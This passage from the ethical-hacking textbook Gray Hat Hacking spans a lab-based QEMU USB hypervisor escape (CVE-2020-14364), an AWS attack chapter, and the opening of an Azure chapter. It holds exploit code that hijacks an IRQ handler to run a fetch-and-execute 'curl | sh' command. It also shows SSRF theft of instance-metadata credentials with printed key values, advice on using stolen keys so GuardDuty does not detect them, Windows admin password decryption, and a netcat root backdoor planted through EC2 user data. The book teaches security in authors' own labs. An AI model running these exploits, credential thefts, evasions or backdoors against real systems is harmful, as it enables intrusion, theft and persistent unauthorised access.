Thread 1 "qemu-system-x86" hit Breakpoint 1, do_token_out (s=0x5654602cffb0,
p=0x56545f56e630) at /qemu/hw/usb/core.c:225
225 assert(p->ep->nr == 0);
(gdb) print *s->port.ops
$1 = {attach = 0x56545d7e066d <ehci_attach>, detach = 0x56545d7e0778 <ehci_detach>,
PART V
child_detach = 0x56545d7e08b9 <ehci_child_detach>, wakeup = 0x56545d7e096a <ehci_
wakeup>, complete = 0x56545d7e1c45 <ehci_async_complete_packet>}
However, a more interesting option is the “free” function pointer present in the Object
header of USBDevice:
(gdb) print s->qdev.parent_obj
$2 = {class = 0x56545f3ef0b0, free = 0x7f019d3ebe20 <g_free>, properties =
0x565460243c00, ref = 2, parent = 0x56545f4e3c60}
TIP Don’t close the GDB session yet. We will keep using it later in this section.
The pointer corresponds to the glib’s function g_free. It is faster to find glib’s base
address from this function rather than scanning a massive binary like qemu-system-x86.
Some of the functions exported by glib provide system-like functionality; one is
g_spawn_command_line_async.
Gray Hat Hacking: The Ethical Hacker’s Handbook
560
To avoid the boring task of ELF header parsing, let’s use pwntools.5 The module
requires us to supply a leak primitive, so we can just write one (qemu_xpl.py):
def leak_one(self, addr):
_, data = next(self.leak_multiple([addr]))
return data
All we need now is to find a pointer to a function where we can control the first
function argument. Let’s begin our search from the USBPort (/qemu/include/hw/usb.h)
structure:
/* USB port on which a device can be connected */
struct USBPort {
USBDevice *dev;
int speedmask;
int hubcount;
char path[16];
USBPortOps *ops;
void *opaque;
int index; /* internal port index, may be used with the opaque */
QTAILQ_ENTRY(USBPort) next;
};
When the EHCI controller is initialized, each port is registered by a call to the
usb_register_port function (defined at /qemu/hw/usb/bus.c). This function initializes a
USBPort object and inserts it at the tail of the linked list:
void usb_register_port(USBBus *bus, USBPort *port, void *opaque, int index,
USBPortOps *ops, int speedmask)
{
usb_fill_port(port, opaque, index, ops, speedmask);
QTAILQ_INSERT_TAIL(&bus->free, port, next);
bus->nfree++;
}
We can see that, in this case, port->opaque corresponds to the EHCI controller’s
state (EHCIState). One of the first fields we can find in this structure is a pointer to the
IRQState (/qemu/hw/core/irq.c). Let’s dump its contents from our previously opened
GDB session.
Chapter 26: Hacking Hypervisors Case Study
561
The IRQ handler will be eventually triggered by ehci_raise_irq, so the only thing we
need to do is to replace irq->handler with the address of g_spawn_command_line_async
and irq->opaque with a string containing an arbitrary command line. Let’s add this as
the final step of our exploit code in qemu_xpl.py:
port = USBPort.parse(❶
self.arbitrary_read_near(
self.usb_dev.port, USBPort.sizeof()
))
ehci_state = EHCIState.parse(❷
self.arbitrary_read_near(
port.opaque, EHCIState.sizeof()
))
irq_state = IRQState.parse(❸
self.arbitrary_read_near(
ehci_state.irq, IRQState.sizeof()
PART V
))
cmd = b'sh -c "curl -sf http://localhost:8000/pwn | sh"\0'
print(f'[+] Executing: {cmd[:-1].decode()}')
self.arbitrary_write(
ehci_state.irq,
IRQState.build({
'parent_obj': irq_state.parent_obj,
'handler': ret2func,❹
'opaque': self.addr_of(USBDevice.data_buf),❺
'n': 0
}),
IOVector([Chunk(cmd)])❻
)
Let’s test the exploit by setting up a web server serving a “pwn” file that merely creates a
“/tmp/pwned” file:
┌──(root ghh6)-[/labs]
└─# echo "touch /tmp/pwned" > pwn
┌──(root ghh6)-[/labs]
└─# python3 -m http.server 8000 > /dev/null &
[1] 9
┌──(root ghh6)-[/labs]
└─# python3 qemu_xpl.py nodebug
PRINT: kmain at 0x0000000000401363
Porting this exploit to a general-purpose guest OS (like Linux) is left as an exercise for
the reader.
Summary
This chapter introduced you to practical hypervisor exploitation in one of its simplest
forms: a user-mode component vulnerability. The exploit development process was cov-
ered from the beginning, starting at the root-cause analysis of the vulnerability. This was
followed by the development of a trigger and a series of primitives. New primitives were
built on top of the previous ones, giving you increasing control over the target. The final
result was a fully working exploit that can execute arbitrary user-mode code in the host.
Chapter 26: Hacking Hypervisors Case Study
563
For Further Reading
“USB 2.0 Specification” www.usb.org/document-library/usb-20-specification
“Enhanced Host Controller Interface for Universal Serial Bus” www.intel.com/
content/dam/www/public/us/en/documents/technical-specifications/ehci-specification-
for-usb.pdf
References
1. “CVE-2020-14364,” https://access.redhat.com/security/cve/cve-2020-14364.
2. “GitHub REST API,” https://docs.github.com/en/rest.
3. “jq,” https://stedolan.github.io/jq/.
4. “gdbserver(1)—Linux manual page,” https://man7.org/linux/man-pages/man1/
gdbserver.1.html.
5. “Pwntools,” https://docs.pwntools.com/en/stable/.
PART V
This page intentionally left blank
PART VI
27
In this chapter, we cover the following topics:
• Describing AWS, its architecture, and some best practices
• Abusing AWS authentication types
• Leveraging attacker tools to enumerate and look for backdoors
• Building ongoing persistence on EC2 Compute through backdooring AWS
Amazon Web Services (AWS) was created in 2006 as a side business to the main Amazon
business. It was created to fulfill an internal need from the Amazon website to provide
scale to its web properties.1 Since that time, AWS has dominated the market, although
that market share is slowly decreasing. Chances are, you are interacting with AWS with-
out realizing it for many of the day-to-day tasks you perform.
This chapter will explore how AWS operates and how we can abuse the mechanisms
within AWS to gain access to systems or services. Consider AWS as a kind of “super”
operating system. It comprises many of the same principles as your single-computer
operating system but across a larger scale. Like any type of operating environment, it
must organize resources and execute them in a controlled way.
567
Gray Hat Hacking: The Ethical Hacker’s Handbook
568
Services, Locations, and Infrastructure
At the time of writing, AWS has well over 80 services in its portfolio. These services are
primarily available across all its data centers, which number over 20 globally, with more
expected in the future. AWS offers many services across the vast computing landscape.
Some services are considered traditional in information technology, such as compute
and networking, while others are traditional software delivered in an “as a service” offer-
ing. The concept behind the more traditional services, as they were the first ones Ama-
zon went to market with, is that these are the services most environments would need.
Consider the Elastic Compute Cloud (EC2), which is on the surface Amazon’s virtual
machine computing system. EC2, however, underpins many of the additional services
Amazon has in its ecosystem.
The EC2 system allows Amazon to deliver services such as the following:
AWS has a service known as the Identity and Access Management (IAM) service,
which debuted in 2011.4 AWS IAM is the core of the authorization and permissions
model in AWS. IAM, by default, is set to deny all permissions. An administrator must
open access discretely to each service, and each service has a gradient level of permissions.
This applies to users and services, such that if a computer wants to talk to an S3 bucket,
it needs to have access to that S3 bucket (see Figure 27-1).
All IAM permissions are exposed as a JSON document:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect❶": "Allow",
"Action❷": [
"s3:GetObject",
"s3:ListObject",
"s3:PutObject"
],
"Resource❸": [
"arn:aws:s3:::ghh-random-bucket/*",
"arn:aws:s3:::ghh-random-bucket"
]
}
]
}
I wish to “ListFiles” on a
different account’s
PART VI
S3://Bucket1
I wish to
Random AWS User “ListFiles” on
X S3://Bucket1
Denied
Check Amazon EC2
Permission for EC2
Random User Check
Permission for
EC2 Allowed
I wish to AWS Check Allowed
“ListFiles” on Permission for Bucket1
User s3://Bucket1 AWS User1
API
Our environment can be set up using the build script located inside the GitHub GHH6
Repository in the ch27 folder. You should be referencing the README file that is in the
ch27 directory to set up the environment. One of the steps in the process is to run the
build.sh ❶ script, which will eventually output the target information you will be using
in this chapter.
NOTE The labs in this chapter are designed to operate using Kali in
the cloud. The reasoning for this is that you will be reconfiguring the
AWS environment for this lab. You will also be using tools you will not
find in the standard Kali distributions.
┌──(kali kali)-[~/GHHv6/ch27/Lab]
└─$ ./build.sh❶
<--OMITTED FOR BREVITY---->
PART VI
The mechanism used for authorization in AWS is tied to the IAM system. Within the
IAM system, various permissions can grant the ability to change a user’s own permission
set. Various permission issues have been cataloged over the years by different research
groups.6 Many of these groups have found numerous ways to enumerate or attempt to
execute permissions. Our job is to obtain access to one of these discreet permissions; to
do so, we must have a way to log in to the system and masquerade as the user in question.
IAM has several ways of authenticating and authorizing a user. One method is your
standard console application login, typically done through a username and password,
but there are alternative login mechanisms. SAML is supported for federation. Notably
absent in the setup document is OAuth2, or OIDC, although services in AWS such as
Elastic Kubernetes Service support OIDC to federate AWS users into Kubernetes. IAM
users can also have API keys attached to them. These keys are foundational for us to
attack with, as you will see how to abuse them in an upcoming lab.
Gray Hat Hacking: The Ethical Hacker’s Handbook
572
Types of Keys and Key Material
API keys in AWS provide a user, developer, or service with programmatic access to the
system. This programmatic access can allow for complete control of the system through
the CLI. Programmatic keys follow a specific format, and typically you will find in use
two types of key that we can leverage, as detailed in the following table.
Access Key Prefix Resource Type Where the Key Is Typically Found
AKIA Access key These keys are created and attached to users.
ASIA Temporary AWS These keys are found when querying the Instance
STS access key Metadata Service. This requires an additional
component called the session token.
Although there are more types of keys you can get access to, we will just discuss the
two where the Key ID starts with AKIA or ASIA. You will need the secret to these keys,
and in certain situations, you will need a session token.
Access keys (AKIA) are especially dangerous; unlike the temporary AWS STS key, it
does not expire unless someone revokes and rotates it manually. Let’s keep this in mind
as we start looking through our environment.
Once our environment is built, we are given an IP address to an AWS host; this happens
as an output of the script that is run. You can either use the Kali Linux you have or the
Kali hosted in the cloud. Some of the examples in this lab are designed to work with an
internal IP space that will only be available via the hosted version of Kali. In this lab,
we will be using an IP address that may be different than the one you will have in your
labs. We are going to show you how AWS keys can be easily seen through the Identity
Metadata Service.
TIP Finding AWS account IDs and AWS keys can be somewhat of an art
form. The account IDs are not supposed to be public, and, indeed, the
AWS keys are supposed to be secret. However, we have evidence and
knowledge of both items being stored in insecure areas, such as source
code management systems like GitHub, source code in JavaScript sent
to the browser, and hard-coded into mobile applications. We have even
found them crawling the Web and discovered search results in places that
developers use to work, such as Trello. Given how widespread of a problem
this is, there is an army of bots, both for good and evil, that constantly
monitors the Internet looking for these keys.
Using cURL we will now query the Identity Metadata Service in AWS.
┌──(kali kali)-[~]
└─$ curl http://3.234.217.218:8080/?url❶=http://169.254.169.254/latest
<h1>This app has an SSRF
Chapter 27: Hacking in Amazon Web Services
573
</h1><h2>Requested URL: http://169.254.169.254/latest/
</h2><br><br>
<pre>dynamic
meta-data❷
user-data❸</pre>
In this scenario, the address that is shown, 3.234.217.218, is the address of the server
available over the Internet. The machine is a victim we are targeting. The application in
question has a server-side request forgery (SSRF) vulnerability ❶. SSRFs allow for the
execution of an application to pull web traffic from any other location the server can get
to, including internal applications.
NOTE SSRFs like this can be easily found as 169.254.169.254, which is a well-
known string. You may attempt to do additional work to obscure the results
of the system, such as converting 169.254.169.254 into another format, such
as octal, decimal, and even IPv6 to IPv4 notation. We will use a few of these
throughout the lab.
As the attacker, we control the execution of the URL, as you can see in the code, direct-
ing it toward the internal API responsible for managing the device. The 169.254.169.254
address is similar to 127.0.0.1 (loopback) in nature. The 169.254 space is a nonroutable
but locally significant address. The 169.254.169.254 address you see here is the address
of the AWS instance metadata. This is a very well defined and known service that AWS,
and almost all cloud providers, support. The instance metadata can give us information
about the system we are on. The result of this query shows us two specific directories that
we would like to explore. It shows two directories called meta-data ❷ and user-data ❸.
We are going to explore each one of these. First, we should validate what type of host or
service we are trying to work with. Is this a load balancer? Is it a Lambda instance? One
way we can tell is through a reverse DNS lookup. This device may be an EC2 instance;
we can tell this by using a reverse DNS lookup to validate this result, as shown here:
┌──(kali kali)-[~]
└─$ nslookup 3.234.217.218
218.217.234.3.in-addr.arpa name = ec2-3-234-217-218.compute-1.amazonaws.com.
PART VI
The PTR record here has a particular format: ec2-3-234-217-218. This indicates that
the service is EC2 and has an IP of 3.234.217.128. Also, compute-1 is the identifier for
the us-east-1 data center. We now know we are on EC2. Let’s explore the first part of this
instance metadata service:
┌──(kali kali)-[~]
└─$ curl http://3.234.217.218:8080/?url=http://169.254.169.254/latest/meta-
data/iam/security-credentials
<h1>This app has an SSRF
</h1><h2>Requested URL: http://169.254.169.254/latest/meta-data/iam/security-
credentials
</h2><br><br>
<pre>ghh-ec2-role-izd4wrqo❹</pre>
The URL we are using speaks directly to the part of the metadata service related
to IAM information. This EC2 instance does have an IAM role attached to it ❹.
Gray Hat Hacking: The Ethical Hacker’s Handbook
574
The service itself will only return the data of the system that calls it. Each server will
have a different returning set of values because the values are locally significant. We
need to query this service URL before we can query the next part of this service to add
our role:
┌──(kali kali)-[~]
└─$ curl http://3.234.217.218:8080/?url=http://169.254.169.254/latest/meta-
data/iam/security-credentials/ghh-ec2-role-izd4wrqo
<h1>This app has an SSRF
<--OMITTED FOR BREVITY---->
<pre>{
"Code" : "Success",
"LastUpdated" : "2021-04-08T00:35:02Z",
"Type" : "AWS-HMAC",
"AccessKeyId❺": "ASIASPLYZV6F7IKNQB5K",
"SecretAccessKey"❻ : "5W/rG8bit7WgVBttELNJLqclP8UvwXYeSjGlziwX",
"Token"❼ :
"IQoJb3JpZ2luX2VjEMn//////////
wEaCXVzLWVhc3QtMSJHMEUCIQD9Ymeob4HY5e9jpg72IPanBnsd
<--OMITTED FOR BREVITY---->
CklqtA/bh2juMY+VNc/
Hw9zQWKLYDCfGWsKYFahNjVNeR7hIzN5rszQPP23G867gDKg05lOIb0TrWhMxH
WwUnV9Q0NZSYa0/JsAfU0SgbDdGZGVUgOjUc/O4kd80nwOiQK463Jh8TAw3faKy95Om7ECVw==",
"Expiration" : "2021-04-08T06:43:05Z"
}</pre>
We now have an API key provided to us; the key has three parts:
• AccessKeyId ❺ The Access Key that is displayed here has a prefix that starts with
ASIA; it is an AWS temporary key with a 6-hour expiration.
• SecretAccessKey ❻ This is the secret access key that we typically need with any
API keys from Amazon.
• Token ❼ This is the session token value—an extra bit of authentication material
for our use.
There are two critical items to note here that you really want to consider changing in
the wild. First, sending this type of request or receiving this result could trigger a web
application firewall (WAF). Second, and perhaps more critical, using this key outside of
AWS will trigger a service like AWS GuardDuty. One of its standard rules is that Guard-
Duty looks for EC2 IAM keys being used outside of the AWS cloud.7 We would want to
use these keys within the AWS cloud, and, fortunately, we can launch our own machines
to do this.
Chapter 27: Hacking in Amazon Web Services
575
We need to edit two files on our machine: .aws/credentials and .aws/config. These files
are in the root of your home folder; for Kali users it will be /home/kali/.aws/credentials
and /home/kali/.aws/config.
Edit your AWS credentials file, which is in the /home/kali/.aws directory, so that it
can more properly reflect the values located in the following block of code. The creden-
tials file needs to contain this code block; make sure you pay attention to the names of
the values and what you are copying and pasting. Specifically, you will need to add an
aws_session_token section, which you will not see in any existing file. The instructions
for what to copy are given next.
[default]
aws_access_key_id = ASIASPLYZV6F7IKNQB5K
aws_secret_access_key = 5W/rG8bit7WgVBttELNJLqclP8UvwXYeSjGlziwX
aws_session_token = IQoJb3JpZ2luX2VjEMn//////////wEaCXVzLWVhc3QtMSJHMEUCIQD9Y
meob4HY5e9jpg72IPanBnsdCX
<--OMITTED FOR BREVITY---->
bg5Jmrr+QIgNCP4ygfZo2yhxgjNPM831qs8oCeegrDpLKFN362yHS8qtAMIUhABGgwxNzA0NDE0MjA2OD
The aws_access_key_id is going to be the value from our closure on top called
AccessKeyId. The aws_secret_access_key will be copied from the SecretAccessKey.
The aws_session_token will come from the Token value. The /home/kali/.aws/config
file will also need to be modified to include a [profile default] section. It will be impor-
tant to note that region should be set. Any additional items such as output are not criti-
cal. Omitting output will cause the output to be printed in JSON format.
[profile default]
region = us-east-1
Once you have correctly configured the AWS config file, we can then proceed to query
the AWS API to find the account information for our AWS API Key:
┌──(kali kali)-[~]
└─$ aws sts get-caller-identity
{
"UserId": "AROASPLYZV6FVCWH54KWE:i-06bf43069f0401e34",
"Account": "170441420683",
"Arn": "arn:aws:sts::170441420683:assumed-role/ghh-ec2-role-izd4wrqo/i-
PART VI
06bf43069f0401e34"
}
If the code blocks have been placed correctly, we should now get a query back that
shows that we are running in an assumed role, and we are assuming the role of our EC2
instance. This is equivalent to being able to talk to an Active Directory domain as if we
are trying to use the credentials of the machine account. But what can we do with these
keys? We will need to explore this further.
Attacker Tools
AWS attacker tools can help automate many of the actions we want to attempt to per-
form, and not every tool is built in to a framework that we are used to using. We can,
however, use scripts and tools to perform complex queries and attacks. Let’s look at a few
Gray Hat Hacking: The Ethical Hacker’s Handbook
576
of these tools to understand how to best use them and how they work. This may help
you design your own attack tools and fill the void that you will find with attack focused
tools for AWS.
Boto Library
The AWS attacker tools that exist are primarily written in Python and built off the
Python Boto library. The library itself comes from AWS and is the heart of the AWS
CLI. You can identify this quickly, as most of the libraries are written with the Boto
library imported.
Most of these tools perform the following actions for specific API calls:
• Provide the tool with an API key or, alternatively, for specific anonymous modules,
use a wordlist.
• Attempt to enumerate permissions for a specific service, if you have IAM permissions
to enumerate the API.
• Attempt to call the API directly, first using a DryRun call to the API, and then
perform the action. If you are successful, you’ll have access.
PACU Framework
The PACU Framework8 from Rhino Security Labs is one of the best replacements for
older tools such as WeirdAAL.9 WeirdAAL was one of the first toolsets that could be lever-
aged to attack Amazon Web Services. It stood for Weird Amazon Attack Library. PACU
has a collection of modules that wrap around the library to form a set of API calls that
can be used for offensive purposes. The framework features several module classes that
can help an attacker discover and abuse the AWS ecosystem. Here are a few notable ones:
RedBoto
RedBoto10 is another collection of tools, mostly one-off scripts that wrap the Boto library
like the other tools, but it’s not a framework. It does, however, feature some notable
scripts that are worthy of mention, as they can help offensively in operations:
• A script for enumerating which places have CloudTrail enabled. This is useful for
evading tools like GuardDuty and other monitoring and security systems.
Chapter 27: Hacking in Amazon Web Services
577
• A script for checking what type of user data is available on a system. This can be
helpful because the command is rather difficult for novice users.
• A script for running commands through the Amazon SSM system, which is a
manager for commonly used systems.
One of the biggest challenges you will find with many of AWS’s tools is the completeness
of coverage. Most tools have limitations on what they can do without us making changes,
and keeping up with the high rate of changes can be a problem. Let’s see where our tools
have some limitations and advantages:
┌──(kali kali)-[/opt/pacu] ❶
└─$ ./cli.py❷
PART VI
"Allow": [],
"Deny": [
"ec2:DescribeDestinations",
<--OMITTED FOR BREVITY---->
Pacu (ghh:imported-default) > set_regions us-east-1
Session regions changed: ['us-east-1']
Pacu (ghh:imported-default) > run ec2__enum❼
Running module ec2__enum...
[ec2__enum] Starting region us-east-1...
[ec2__enum] 5 instance(s) found.
<--OMITTED FOR BREVITY---->
Pacu (ghh:imported-default) >
Gray Hat Hacking: The Ethical Hacker’s Handbook
578
Would you like to make several hundred API calls to attempt to validate which
describe (or read) permissions you have on EC2 and Lambda? Probably not. How
can we do this in a more automated way? We simply use PACU and find out all the
permissions—or can we?
To execute the PACU tool from within the /opt/pacu ❶ directory on your Kali Linux
machine, you need to run the Python file cli.py ❷. PACU organizes campaigns by session
name; we called our current session “ghh” ❸. PACU can use keys that are already located
within the general operating system. To do this, we will use the import_keys –all ❹
command to import all the profiles and keys stored in our credentials file. Once we have
these items loaded, we can start using modules.
One of the modules we can use is a module to call the IAM service and brute-force
permissions. We do this by using the run iam__bruteforce_permissions ❺ command.
One would assume that this is a 100 percent feature-complete way to find all the permis-
sions on the system, as it’s described. It is not. As you will later see, this command will
attempt to call the AWS API, but only for specific services like EC2 and Lambda, and
only for very narrow API calls—primarily those that are useful in describing services
(read-based commands). We can see what we have found for our API key by calling
whoami ❻. The command will output some allowed and denied permissions, but it is
not 100 percent complete. Another way to reach the same type of result is to attempt to
use each API call. Next, we will be enumerating ec2_hosts ❼ as an example of validat-
ing our known permissions. You will see that we can enumerate much of the EC2 data.
PACU is attempting to build a fully functional, batteries-included module for
exploiting AWS, but it does have its shortcomings. It doesn’t always feature every mod-
ule you may want. It also does not support every service in AWS. You often have to rely
on other tools, scripts, or just the plain AWS CLI to perform many of the attacks you
want to perform. We demonstrate several examples of these in the next section. We do,
however, wish for you to continue to use PACU, as it does have some useful features,
such as the following:
NOTE Many of the actions in this section will be logged in the CloudTrail
components of the AWS console; this is done by default. While logging is
good, by itself it is not enough to understand what is occurring. You need
additional tooling to take the logs and make better sense of them, just like
you would in a standard operating system. The section is very noisy and can
leave a large footprint.
Chapter 27: Hacking in Amazon Web Services
579
The describeInstances.py script ❶ is a simple EC2 enumeration script that goes against
a list of regions ❷. While this is not a full list of regions, the script is designed for simplic-
ity over complexity. We can see the instance IDs ❸, the computer name, and its state.
Let’s run the next script:
┌──(kali kali)-[/opt/redboto]
└─$ python3 ./describeUserData.py❹
[*] Checking region eu-north-1
<--OMITTED FOR BREVITY---->
[*] Checking region us-east-1
+-------------------+---------------------------------------------------------+
| InstanceID | UserData❺ |
+===================+=========================================================+
| #!/bin/bash |
<--OMITTED FOR BREVITY---->
|i-092b83286d2cbf98d| sudo node index.js & |
<--OMITTED FOR BREVITY---->
| | curl -U monitoring: monitoring❻. http://localhost/_healthz|
PART VI
NOTE UserData is a special field that can be embedded in each EC2 instance
to allow for boot-time customizations of a machine. The typical mechanism
used to read and execute user data is a framework called cloud-init.
The mechanism is designed to run optional user data on boot to perform
bootstrap operations on operating systems. We can abuse this facility
by either inserting or reading the user data.
This next script, describeUserData.py, ❹ will blindly go through each instance and
enumerate all the user data ❺ stored within the instance configuration. As you can see,
any number of items can be stored here, including usernames and passwords ❻. This is
not a good pattern for storing information, but we still see it in use today. Looking for
passwords in user data and other key pieces of data is important.
Gray Hat Hacking: The Ethical Hacker’s Handbook
580
Windows operating systems in EC2 make user data much more interesting. Part of
the creation process for some of the Windows operating systems is to have an Adminis-
trator username. At times, its pseudo-randomly created password is encrypted using the
SSH key used in the account. If we had access to that SSH key, could we decrypt that
value? RedBoto has a script that does just that:
TIP Make sure to copy your ~/.ssh/id_rsa from whatever device you used to
build your initial machines over to the machine you are attacking with. It is
also important to note that this version of getEC2WinCreds.py was modified
to work with our labs. The original script relies on the fact that we have a
PEM file for our SSH key, but we are using the OpenSSH-formatted keys. This
version does not attempt to deserialize PEM files.
┌──(kali kali)-[/opt/redboto]
└─$ python3 getEC2WinCreds.py❼ us-east-1 ~/.ssh/id_rsa
+-------------------+------+----------------+---------------+--------------------+
Using the getEC2WinCreds.py ❼ file, the system will automatically look at a region
you specify and enumerate all EC2 instances ❽, looking specifically for the Windows
platform as a key. The script will then go into each of the instance IDs it locates and,
using the SSH key as a decryption key, will attempt to decrypt each one of the pass-
word fields ❾. It also provides you with a look at the public IP address. If one is found,
there is a change that exposes the RDP port to the Internet and allows remote access
into the device.
One very traditional persistence mechanism in a standard operating system is the sched-
uled task. In Windows, you have the Task Scheduler, and in Linux you have the cron
daemon. Each one of these systems features a trigger event; typically, it’s based on a
time and an action. What if we could figure out how to trigger a job within the AWS
ecosystem that would grant us persistence? Ryan Gerstenkorn of Rhino Security Labs
wrote a Go-based tool that can help simulate this exact situation. The tool is called
UserDataSwap.11 It can be quite useful if you have the appropriate permissions and know
how to modify the source. The tool, written in Go, has a static boot command which
will add a statically compiled version of Netcat and open a backdoor listener. The listener
port stays open on the host system (see Figure 27-2). Think of this as a mix of a backdoor
bootloader and a persistence module in the operating system.
┌──(kali kali)-[~/GHHv6/ch27/Lab/terraform]
└─$ terraform output s3_sam_bucket❶ 27 ×
"ghh-sam-bucket-82jlwozo"
┌──(kali kali)-[~]
└─$ nano UserDataSwap/samconfig.toml❷
Chapter 27: Hacking in Amazon Web Services
581
EC2 Instance EC2 Instance
Admin AWS API EC2 Create
Create Started Stopped
Instance AWS EventBridge
Notification
AWS
EventBridge EC2 Instance
Restart
Read UserData, Start EC2,
Wait for Instance Save UserData, Swap UserData Backdoor
To Start Stop Instance with Attacker EC2
Trigger UserData
Lambda EC2 Start
Start EC2
EC2 Start
As you’ll notice, we run the terraform output command first ❶ so that we can find
the S3 bucket location for our tool. This is done in the terraform directory itself. We
then need to modify samconfig.toml ❷ in the UserDataSwap directory found in the Kali
instance in AWS. The file needs one entry modified, which is the s3_sam_bucket ❸ entry:
version = 0.1
[default]
[default.deploy]
[default.deploy.parameters]
stack_name = "UserDataSwap"
s3_bucket = "ghh-sam-bucket-82jlwozo❸"
s3_prefix = "UserDataSwap"
region = "us-east-1"
PART VI
capabilities = "CAPABILITY_IAM"
profile = "default"
Once the samconfig.toml file is finished, we can execute our build and deploy
commands:
┌──(kali kali)-[~/UserDataSwap]
└─$ make build❹
sam build
Building codeuri: /home/kali/UserDataSwap/UserDataSwap runtime: go1.x metadata: {}
functions: [‘UserDataSwapFunction’]
Running GoModulesBuilder:Build
Build Succeeded
Running the make build command in the UserDataSwap directory in the Home of our
Kali instance.
┌──(kali kali)-[~/UserDataSwap]
└─$ make deploy❺
sam build
Gray Hat Hacking: The Ethical Hacker’s Handbook
582
Building codeuri: /home/kali/UserDataSwap/UserDataSwap runtime: go1.x metadata: {}
functions: ['UserDataSwapFunction']
Running GoModulesBuilder:Build
<--OMITTED FOR BREVITY---->
Capabilities : ["CAPABILITY_IAM"]
Parameter overrides : {}
Signing Profiles : {}
Initiating deployment
=====================
<--OMITTED FOR BREVITY---->
Waiting for changeset to be created..
<--OMITTED FOR BREVITY---->
CloudFormation outputs from deployed stack
-----------------------------------------------------------------------
Outputs
-----------------------------------------------------------------------
Key UserDataSwapFunctionIamRole
Description Implicit IAM Role created for Hello World function
<--OMITTED FOR BREVITY---->
Value arn:aws:lambda:us-east-1:170441420683:function:UserDataSwap-
UserDataSwapFunction-5FivtnSTNKx9
------------------------------------------------------------------------
The first command, make build❹ will compile the application locally. Afterwards,
running the make deploy ❺ command, will create a Lambda function that will
take an event bridge as a trigger. It will look for EC2 instances that start, and those
EC2 instances that start will trigger an event bridge to trigger the Lambda function.
Once the Lambda function is triggered, it will take the instance ID as a target and
save the user data. The Lambda function will instruct the EC2 Server to shut down,
swap the user data, and boot the instance. Once that process is done, it will perform
the same operation to swap back the original user data. To the administrator it will
appear that EC2 is just running much slower than usual. It is also important to note
that autoscaling hasn’t been tested and could cause this to spiral out of control. Don’t
enable autoscaling on this configuration. The implant we are using is a Netcat listening
port on each EC2 instance on port 1234.
We now need to build an EC2 server to test with! Luckily, we can drop into another
terraform directory to build a victim ❻ device:
┌──(kali kali)-[~/GHHv6/ch27/Lab/terraform2]
└─$ ./build2.sh❻
victim2 = "54.198.158.163"
victim2-instance = "i-0d2d873ab99f40eb9"
At this point we need to wait about 5 or 6 minutes to let the UserDataSwap perform
all the operations it needs to perform. You can look in the CloudWatch log group (https://
console.aws.amazon.com/cloudwatch/home?region=us-east-1#logsV2:log-groups),
which would be the latest one with the words “UserDataSwap-UserDataSwapFunction,”
to see the status of the execution of the function.
Chapter 27: Hacking in Amazon Web Services
583
We will now attempt to connect to the system that we have backdoored. The shell
being a raw socket shell can be connected using netcat.
┌──(kali kali)-[~]
└─$ nc 10.0.0.30 1234❼
ls❽
snap
whoami❾
root
We can now connect to our machine from within the same VPC to see that, indeed,
the port is now open. Here we run the nc ❼ command against the target machine;
remember, there will be no prompt with netcat. We can run ls ❽ and whoami ❾ to test
things out.
Summary
Amazon Web Services is a very powerful and useful set of tools that provide us with
the ability to deliver services, software, applications, and more at the same scale as
Amazon itself. We should, however, look at Amazon Web Services not as a cloud service
environment but as an operating system. It shares many properties of a traditional
operating system, exposed in a unique way. It has a permissions model that is similar to
our operating systems, it has a set of file systems, and it can launch, schedule, and work
with applications and processes. With this in mind, we can also attack and abuse Amazon
Web Services in a very familiar way. We hope that this chapter starts you down the path
of looking more closely at Amazon Web Services.
PART VI
Request_Forgery
References
1. Ron Miller, “How AWS came to be,” TechCrunch, https://techcrunch
.com/2016/07/02/andy-jassys-brief-history-of-the-genesis-of-aws/.
2. “How IAM users sign in to AWS,” AWS, https://docs.aws.amazon.com/IAM/latest/
UserGuide/id_users_sign-in.html.
3. “Managing access keys for IAM Users,” AWS https://docs.aws.amazon.com/
IAM/latest/UserGuide/id_credentials_access-keys.html.
Gray Hat Hacking: The Ethical Hacker’s Handbook
584
4. “AWS Identity and Access Management (IAM) Announces General Availability
and Support in the AWS Management Console,” AWS, https://aws.amazon.com/
about-aws/whats-new/2011/05/03/announcing-IAM/.
5. “Amazon Resource Names (ARNs),” AWS, https://docs.aws.amazon.com/general/
latest/gr/aws-arns-and-namespaces.html.
6. Asaf Hecht, “The Cloud Shadow Admin Threat: 10 Permissions to Protect,”
CyberArk, https://www.cyberark.com/resources/threat-research-blog/the-cloud-
shadow-admin-threat-10-permissions-to-protect.
7. Amazon GuardDuty, IAM finding types, https://docs.aws.amazon.com/
guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-
instancecredentialexfiltration.
8. PACU, https://github.com/RhinoSecurityLabs/pacu.
9. weirdAAL.py, https://github.com/carnal0wnage/weirdAAL/blob/
ef760fde7ffa997e7319bbab0329e99de83e2847/weirdAAL.py.
10. Redboto, Red Team Scripts for AWS, https://github.com/elitest/Redboto.
11. UserDataSwap, https://github.com/RyanJarv/UserDataSwap.
Hacking in Azure
CHAPTER
28
In this chapter, we cover the following topics:
• How the Azure control plane and data plane work in relation to us breaking in
• How we can find Microsoft identities on Azure AD and take the accounts over
• How the system-assigned managed identities in Microsoft work and how can we
use them
• The mechanism in which you must organize assets will affect how access
control works.
• Standard Azure Virtual Machines has many more avenues for exploitation, with a
more complex way to constrain access.
• Identities use OpenID Connect, as Microsoft has tightly integrated Azure AD with
Azure, which is a big difference from static AWS API keys.
It is also difficult to discuss Microsoft Azure without discussing Microsoft’s Azure
Active Directory. You will be reading sections that divert from Azure and instead focus
on Azure AD because of how tightly integrated both systems are.
Microsoft Azure
Microsoft Azure has several components geared toward developers and has expanded to
include more and more general IT computing environments. Central to the organization
of Azure is the understanding of the structure in which assets can reside. This concept
is like how Amazon Organizations1 works, with large differences in how the IAM rules
apply. We will see the impacts to this organization concerning how we can attack the
Azure assets themselves.
585
Gray Hat Hacking: The Ethical Hacker’s Handbook
586
Management Groups Tenant Root
Company Group
Back Ofce Apps Front-End
Subscriptions
Subscription 1 Subscription 2 Archived
Subscription
Resource Groups
Prod Prod
Back Ofce Front-End Archived
Resource Resource Resources
Group Group
App
Disks Network VMs Services Disks Network VMs
PART VI
for an hour. This would give you the ability to build the labs but not have to destroy
them each time. The cost of this lab running for a month could be several hundred
dollars due to Windows virtual machines with Microsoft licensing being run in Azure.
Let’s start by implementing PurpleCloud, we will do this by forking the code.
┌──(kali kali)-[~/]
└─$ git clone https://github.com/iknowjason/PurpleCloud❶
